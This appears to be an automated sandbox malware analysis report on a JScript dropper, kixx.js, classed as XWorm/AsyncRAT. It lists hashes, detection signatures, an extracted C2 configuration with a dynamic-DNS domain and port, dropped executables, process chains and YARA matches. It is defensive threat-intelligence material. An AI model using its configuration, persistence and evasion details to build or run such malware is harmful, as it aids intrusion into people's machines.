Windows Analysis Report
kixx.js

Overview

General Information

Sample name: kixx.js
Analysis ID: 1523187
MD5: 3094dc3bf3dacc07b7ae62e6cb53e02d
SHA1: 7ff5441adf6b751704534c979046d5698dfdfdb1
SHA256: 8fa2ab71f2e7c4276167c217778c01dedf71053bf9d4cee5274e8c077ef327dd
Tags: 192-210-215-11jsuser-JAMESWT_MHT
Infos:

Detection

XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected XWorm
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
C2 URLs / IPs found in malware configuration
Contains functionality to disable the Task Manager (.Net Source)
Creates multiple autostart registry keys
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: WScript or CScript Dropper
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: kixx.js Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\Service.exe Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Avira: detection malicious, Label: TR/Dropper.Gen
Found malware configuration
Source: 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["kizitodavina.duckdns.org"], "Port": "8645", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.3"}
Multi AV Scanner detection for domain / URL
Source: kizitodavina.duckdns.org Virustotal: Detection: 11% Perma Link
Source: kizitodavina.duckdns.org Virustotal: Detection: 11% Perma Link
Multi AV Scanner detection for submitted file
Source: kixx.js ReversingLabs: Detection: 34%
Source: kixx.js Virustotal: Detection: 20% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\Service.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: kizitodavina.duckdns.org
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: 8645
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: <123456789>
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: <Xwormmm>
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: XWorm V5.3
Source: 5.2.fzP.exe.400000.0.unpack String decryptor: USB.exe
Source: Binary string: C:\Users\IzzyMichiel\Desktop\The Luck Music\ItselfCrypt-master\Resource\obj\Debug\Resource.pdbT3n3 `3_CorDllMainmscoree.dll source: fzP.exe, 00000002.00000002.2049097834.0000000005860000.00000004.08000000.00040000.00000000.sdmp, fzP.exe, 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B97000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000269A000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002716000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002655000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000275E000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002657000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000271D000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE5000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030A6000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306E000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000302A000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030AD000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\IzzyMichiel\Desktop\The Luck Music\ItselfCrypt-master\Resource\obj\Debug\Resource.pdb source: fzP.exe, 00000002.00000002.2049097834.0000000005860000.00000004.08000000.00040000.00000000.sdmp, fzP.exe, 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B97000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000269A000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002716000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002655000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000275E000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002657000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000271D000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE5000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030A6000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306E000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000302A000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030AD000.00000004.00000800.00020000.00000000.sdmp

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: kizitodavina.duckdns.org
Uses dynamic DNS services
Source: unknown DNS query: name: kizitodavina.duckdns.org
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: kizitodavina.duckdns.org replaycode: Server failure (2)
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: kizitodavina.duckdns.org
Source: fzP.exe, 00000007.00000002.2187124277.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.micj

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 5.2.fzP.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.fzP.exe.3232718.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2ddc78c.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.fzP.exe.3235fac.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2ddab48.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.fzP.exe.3234350.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2dde3e8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2cd2728.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.fzP.exe.2bda998.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.fzP.exe.2bdc5f4.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2cd4360.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.Service.exe.2cd5fbc.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.fzP.exe.2bd8d54.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2185105429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 2_2_030D0D33 2_2_030D0D33
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 3_2_0262D504 3_2_0262D504
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD7288 4_2_02AD7288
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD5208 4_2_02AD5208
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD43D0 4_2_02AD43D0
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD6450 4_2_02AD6450
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD0D32 4_2_02AD0D32
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD727C 4_2_02AD727C
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 4_2_02AD61C8 4_2_02AD61C8
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 8_2_00EA0ECB 8_2_00EA0ECB
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 9_2_00E80EC0 9_2_00E80EC0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B43E0 11_2_011B43E0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B5218 11_2_011B5218
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B7288 11_2_011B7288
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B0D40 11_2_011B0D40
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B6450 11_2_011B6450
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B61C8 11_2_011B61C8
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B43D0 11_2_011B43D0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B5208 11_2_011B5208
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B7279 11_2_011B7279
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 11_2_011B0D33 11_2_011B0D33
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 12_2_00D40EC0 12_2_00D40EC0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 14_2_00BC0ECB 14_2_00BC0ECB
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E5212 17_2_023E5212
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E7288 17_2_023E7288
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E43D0 17_2_023E43D0
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E6450 17_2_023E6450
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E0D32 17_2_023E0D32
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 17_2_023E7279 17_2_023E7279
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Code function: 22_2_00860EE0 22_2_00860EE0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE7288 23_2_02DE7288
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE5212 23_2_02DE5212
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE43D0 23_2_02DE43D0
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE6450 23_2_02DE6450
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE0D30 23_2_02DE0D30
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE7279 23_2_02DE7279
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE6080 23_2_02DE6080
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 23_2_02DE61C8 23_2_02DE61C8
Source: C:\Users\user\AppData\Roaming\Service.exe Code function: 24_2_009F0ECB 24_2_009F0ECB
Java / VBScript file with very long strings (likely obfuscated code)
Source: kixx.js Initial sample: Strings found which are bigger than 50
Yara signature match
Source: 5.2.fzP.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.fzP.exe.3232718.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2ddc78c.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.fzP.exe.3235fac.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2ddab48.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.fzP.exe.3234350.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2dde3e8.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2cd2728.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.fzP.exe.2bda998.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.fzP.exe.2bdc5f4.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2cd4360.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.Service.exe.2cd5fbc.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.fzP.exe.2bd8d54.6.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2185105429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: fzP.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Service.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fzP.exe.0.dr, Program.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.wscript.exe.1af3297ee40.0.raw.unpack, Program.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.wscript.exe.1af32851b90.0.raw.unpack, Program.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.wscript.exe.1af3297ee40.1.raw.unpack, Program.cs Cryptographic APIs: 'CreateDecryptor'
Source: Service.exe.2.dr, Program.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.evad.winJS@48/5@4/0
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File created: C:\Users\user\AppData\Roaming\Service.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Mutant created: \Sessions\1\BaseNamedObjects\oTbTivRCYmlY7umi
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\fzP.exe Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: kixx.js ReversingLabs: Detection: 34%
Source: kixx.js Virustotal: Detection: 20%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\kixx.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
